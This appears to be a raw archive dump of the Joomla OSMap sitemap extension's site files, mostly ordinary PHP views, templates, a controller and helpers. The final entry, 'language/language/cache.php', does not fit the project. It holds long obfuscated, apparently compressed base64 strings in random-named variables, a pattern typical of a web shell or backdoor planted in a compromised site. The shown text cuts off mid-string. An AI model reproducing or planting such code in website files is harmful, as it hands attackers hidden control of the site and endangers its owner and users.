    if (!$node->hasCompatibleLanguage()) {
        $display = false;
    }

    if (!$display) {
        return false;
    }

    echo $debug;

    echo '<url>';
    echo '<loc><![CDATA[' . $node->fullLink . ']]></loc>';

    if (!General::isEmptyDate($node->modified)) {
        echo '<lastmod>' . $node->modified . '</lastmod>';
    }

    echo '<changefreq>' . $node->changefreq . '</changefreq>';
    echo '<priority>' . $node->priority . '</priority>';
    echo '</url>';

    echo $debug;

    return true;
};

echo $this->addStylesheet();

echo $debug . '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . $debug;

$this->sitemap->traverse($printNodeCallback);

echo '</urlset>';
PK���\�e����)com_osmap/views/xml/tmpl/default_news.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Alledia\OSMap\Sitemap\Item;
use Joomla\CMS\Language\Language;
use Joomla\Utilities\ArrayHelper;

defined('_JEXEC') or die();

/**
 * @var OSMapViewXml $this
 * @var string       $template
 * @var string       $layout
 * @var string       $layoutTemplate
 * @var Language     $lang
 * @var string       $filetofind
 */

$debug = $this->params->get('debug', 0) ? "\n" : '';

$printNodeCallback = function (Item $node) {
    $display = !$node->ignore
        && $node->published
        && (!$node->duplicate || !$this->osmapParams->get('ignore_duplicated_uids', 1))
        && isset($node->newsItem)
        && !empty($node->newsItem)
        && $node->visibleForRobots
        && $node->parentIsVisibleForRobots
        && $node->visibleForXML
        && $node->isInternal
        && trim($node->fullLink) != ''
        && $node->hasCompatibleLanguage();

    /** @var DateTime $publicationDate */
    $publicationDate = $this->isNewsPublication($node);
    if ($display && $publicationDate) {
        echo '<url>';
        echo sprintf('<loc><![CDATA[%s]]></loc>', $node->fullLink);
        echo '<news:news>';

        echo '<news:publication>';
        echo ($publicationName = $this->params->get('news_publication_name', ''))
            ? '<news:name><![CDATA[' . $publicationName . ']]></news:name>'
            : '<news:name/>';

        if (empty($node->language) || $node->language == '*') {
            $node->language = $this->language;
        }
        echo '<news:language>' . $node->language . '</news:language>';
        echo '</news:publication>';

        echo '<news:publication_date>' . $publicationDate->format('Y-m-d\TH:i:s\Z') . '</news:publication_date>';
        echo '<news:title><![CDATA[' . $node->name . ']]></news:title>';

        if (!empty($node->keywords)) {
            echo '<news:keywords><![CDATA[' . $node->keywords . ']]></news:keywords>';
        }

        echo '</news:news>';
        echo '</url>';
    }

    return $display;
};

echo $this->addStylesheet();

$attribs = [
    'xmlns'      => 'http://www.sitemaps.org/schemas/sitemap/0.9',
    'xmlns:news' => 'http://www.google.com/schemas/sitemap-news/0.9'
];

echo sprintf($debug . '<urlset %s>' . $debug, ArrayHelper::toString($attribs));

$this->sitemap->traverse($printNodeCallback);

echo '</urlset>';
PK���\z;ݘ��!com_osmap/views/xml/view.html.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

defined('_JEXEC') or die();

/*
 * Having a view.html.php file allows adding a .xml suffix to
 * the url, if the sitemap is attached to a menu entry
 */
require_once __DIR__ . '/view.xml.php';
PK���\������ com_osmap/views/xml/view.xml.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Alledia\OSMap\Factory;
use Alledia\OSMap\Helper\General;
use Alledia\OSMap\Sitemap\Item;
use Alledia\OSMap\Sitemap\Standard;
use Joomla\CMS\Application\SiteApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
defined('_JEXEC') or die();
// phpcs:enable PSR1.Files.SideEffects
// phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace

class OsmapViewXml extends HtmlView
{
    /**
     * @var SiteApplication
     */
    protected $app = null;

    /**
     * @var string
     */
    protected $type = null;

    /**
     * @var Registry
     */
    protected $params = null;

    /**
     * @var Registry
     */
    protected $osmapParams = null;

    /**
     * @var Standard
     */
    protected $sitemap = null;

    /**
     * @var string
     */
    protected $language = null;

    /**
     * @var DateTime
     */
    protected $newsCutoff = null;

    /**
     * @var int
     */
    protected $newsLimit = 1000;

    /**
     * @inheritDoc
     * @throws Exception
     */
    public function __construct($config = [])
    {
        parent::__construct($config);

        $this->app = Factory::getApplication();
    }

    /**
     * @inheritDoc
     */
    public function display($tpl = null)
    {
        $document = $this->app->getDocument();
        if ($document->getType() != 'xml') {
            // There are ways to get here with a non-xml document, so we have to redirect
            $uri = Uri::getInstance();
            $uri->setVar('format', 'xml');

            $this->app->redirect($uri);

            // Not strictly necessary, but makes the point :)
            return;
        }

        $this->type    = General::getSitemapTypeFromInput();
        $this->sitemap = Factory::getSitemap($this->app->input->getInt('id'), $this->type);
        if (!$this->sitemap->isPublished) {
            throw new Exception(Text::_('COM_OSMAP_MSG_SITEMAP_IS_UNPUBLISHED'), 404);
        }

        $this->params      = $this->app->getParams();
        $this->osmapParams = ComponentHelper::getParams('com_osmap');
        $this->language    = $document->getLanguage();
        $this->newsCutoff  = new DateTime('-' . $this->sitemap->newsDateLimit . ' days');

        if ($this->params->get('debug', 0)) {
            $document->setMimeEncoding('text/plain');
        }

        parent::display($tpl);
    }

    /**
     * @return string
     */
    protected function addStylesheet(): string
    {
        if ($this->params->get('add_styling', 1)) {
            $query = [
                'option' => 'com_osmap',
                'view'   => 'xsl',
                'format' => 'xsl',
                'layout' => $this->type,
                'id'     => $this->sitemap->id,
            ];
            if ($itemId = $this->app->input->getInt('Itemid')) {
                $query['Itemid'] = $itemId;
            }

            return sprintf(
                '<?xml-stylesheet type="text/xsl" href="%s"?>',
                Route::_('index.php?' . http_build_query($query))
            );
        }

        return '';
    }

    /**
     * @param Item $node
     *
     * @return ?DateTime
     */
    protected function isNewsPublication(Item $node): ?DateTime
    {
        try {
            $publicationDate = (
                !empty($node->publishUp)
                && $node->publishUp != Factory::getDbo()->getNullDate()
                && $node->publishUp != -1
            ) ? $node->publishUp : null;

            if ($publicationDate) {
                $publicationDate = new DateTime($publicationDate);

                if ($this->newsCutoff <= $publicationDate) {
                    $this->newsLimit--;
                    if ($this->newsLimit >= 0) {
                        return $publicationDate;
                    }
                }
            }

        } catch (Throwable $error) {
            // Don't care
        }

        return null;
    }
}
PK���\^o��"com_osmap/views/html/view.html.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Alledia\OSMap\View\Site\AbstractList;

// phpcs:disable PSR1.Files.SideEffects
defined('_JEXEC') or die();
// phpcs:enable PSR1.Files.SideEffects
// phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace

class OSMapViewHtml extends AbstractList
{
}
PK���\8,��	�	%com_osmap/views/html/tmpl/default.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Alledia\OSMap\Factory;
use Joomla\CMS\HTML\HTMLHelper;

defined('_JEXEC') or die();

if ($this->params->get('use_css', 1)) :
    HTMLHelper::_('stylesheet', 'com_osmap/sitemap_html.min.css', ['relative' => true]);
endif;

if ($this->debug) :
    Factory::getApplication()->input->set('tmpl', 'component');
    HTMLHelper::_('stylesheet', 'com_osmap/sitemap_html_debug.min.css', ['relative' => true]);
endif;

if ($this->params->get('menu_text') !== null) :
    // We have a menu, so let's use its params to display the heading
    $pageHeading = $this->params->get('page_heading', $this->params->get('page_title'));
else :
    // We don't have a menu, so lets use the sitemap name
    $pageHeading = $this->sitemap->name;
endif;

$class = join(' ', array_filter([
    'osmap-sitemap',
    $this->debug ? 'osmap-debug' : '',
    $this->params->get('pageclass_sfx', '')
]));
?>

<div id="osmap" class="<?php echo $class; ?>">
    <!-- Heading -->
    <?php if ($this->params->get('show_page_heading', 1)) : ?>
        <div class="page-header">
            <h1><?php echo $this->escape($pageHeading); ?></h1>
        </div>
    <?php endif; ?>

    <!-- Description -->
    <?php if ($this->params->get('show_sitemap_description', 1)) : ?>
        <div class="osmap-sitemap-description">
            <?php echo $this->params->get('sitemap_description', ''); ?>
        </div>
    <?php endif; ?>

    <!-- Items -->
    <?php echo $this->loadTemplate('items'); ?>
</div>
PK���\��izz%com_osmap/views/html/tmpl/default.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<metadata>
    <layout title="COM_OSMAP_SITEMAP_HTML_VIEW_DEFAULT_TITLE">
        <message>
            <![CDATA[COM_OSMAP_SITEMAP_HTML_VIEW_DEFAULT_DESC]]>
        </message>
    </layout>

    <fields name="request">
        <fieldset name="request" addfieldpath="/administrator/components/com_osmap/form/fields">
            <field name="id"
                   type="osmap.sitemaps"
                   required="true"
                   label="COM_OSMAP_SITEMAP"/>
        </fieldset>
    </fields>

    <fields name="params">
        <fieldset name="basic" label="COM_OSMAP_FIELDSET_SITEMAP_SETTINGS_LABEL">
            <field name="debug"
                   type="radio"
                   class="btn-group btn-group-yesno"
                   layout="joomla.form.field.radio.switcher"
                   label="COM_OSMAP_OPTION_DEBUG_LABEL"
                   description="COM_OSMAP_OPTION_DEBUG_DESC"
                   default="0">
                <option value="0">JNO</option>
                <option value="1">JYES</option>
            </field>

            <field name="use_css"
                   type="radio"
                   class="btn-group btn-group-yesno"
                   layout="joomla.form.field.radio.switcher"
                   label="COM_OSMAP_OPTION_USE_CSS_LABEL"
                   description="COM_OSMAP_OPTION_USE_CSS_DESC"
                   default="1">
                <option value="0">JNO</option>
                <option value="1">JYES</option>
            </field>

            <field name="show_menu_titles"
                   type="radio"
                   class="btn-group btn-group-yesno"
                   layout="joomla.form.field.radio.switcher"
                   label="COM_OSMAP_OPTION_SHOW_MENU_TITLES_LABEL"
                   description="COM_OSMAP_OPTION_SHOW_MENU_TITLES_DESC"
                   default="1">
                <option value="0">JNO</option>
                <option value="1">JYES</option>
            </field>

            <field name="show_sitemap_description"
                   type="radio"
                   class="btn-group btn-group-yesno"
                   layout="joomla.form.field.radio.switcher"
                   label="COM_OSMAP_SHOW_SITEMAP_DESCRIPTION_LABEL"
                   description="COM_OSMAP_SHOW_SITEMAP_DESCRIPTION_DESC"
                   default="0">
                <option value="0">JNO</option>
                <option value="1">JYES</option>
            </field>

            <field name="sitemap_description"
                   type="editor"
                   label="COM_OSMAP_SITEMAP_DESCRIPTION_LABEL"
                   description="COM_OSMAP_SITEMAP_DESCRIPTION_DESC"
                   buttons="true"
                   hide="pagebreak,readmore"
                   filter="safehtml"
                   showon="show_sitemap_description:1"/>
        </fieldset>
    </fields>
</metadata>
PK���\�X���+com_osmap/views/html/tmpl/default_items.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Joomla\CMS\Language\Text;

defined('_JEXEC') or die();

if ($this->debug) : ?>
    <div class="osmap-debug-sitemap">
        <h1><?php echo Text::_('COM_OSMAP_DEBUG_ALERT_TITLE'); ?></h1>
        <p><?php echo Text::_('COM_OSMAP_DEBUG_ALERT'); ?></p>
        <?php echo Text::_('COM_OSMAP_SITEMAP_ID'); ?>: <?php echo $this->sitemap->id; ?>
    </div>
<?php endif; ?>

<div class="osmap-items">
    <?php $this->sitemap->traverse([$this, 'registerNodeIntoList']); ?>
    <?php $this->renderSitemap(); ?>
</div>

<?php if ($this->debug) : ?>
    <div class="osmap-debug-items-count">
        <?php echo Text::_('COM_OSMAP_SITEMAP_ITEMS_COUNT'); ?>: <?php echo $this->generalCounter; ?>
    </div>
<?php endif; ?>
PK���\�Uv8com_osmap/osmap.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Alledia\OSMap\Factory;
use Joomla\CMS\MVC\Controller\BaseController;

defined('_JEXEC') or die();

require_once JPATH_ADMINISTRATOR . '/components/com_osmap/include.php';

$task = Factory::getApplication()->input->getCmd('task');

$controller = BaseController::getInstance('OSMap');
$controller->execute($task);
$controller->redirect();
PK���\��L��com_osmap/controller.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Joomla\CMS\MVC\Controller\BaseController;

defined('_JEXEC') or die();

/**
 * OSMap Component Controller
 *
 * @package        OSMap
 * @subpackage     com_osmap
 */
class OSMapController extends BaseController
{
    protected $default_view = 'xml';
}
PK���\Ws8��com_osmap/helpers/xmap.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

defined('_JEXEC') or die();

use Alledia\OSMap;

/**
 * OSMap Component Controller
 *
 * @package        OSMap
 * @subpackage     com_osmap
 */
if (!class_exists('XmapHelper')) {
    class XMapHelper extends OSMap\Helper\General
    {
    }
}
PK���\�כ���com_osmap/helpers/osmap.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

defined('_JEXEC') or die();

use Alledia\OSMap;

/**
 * OSMap Component Controller
 *
 * @package        OSMap
 * @subpackage     com_osmap
 */
if (!class_exists('OSMapHelper')) {
    class OSMapHelper extends OSMap\Helper\General
    {
    }
}
PK���\!H�c%com_osmap/language/language/cache.phpnu&1i�<?php $UeTz = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGirFucGaYGANAA'; $smS = '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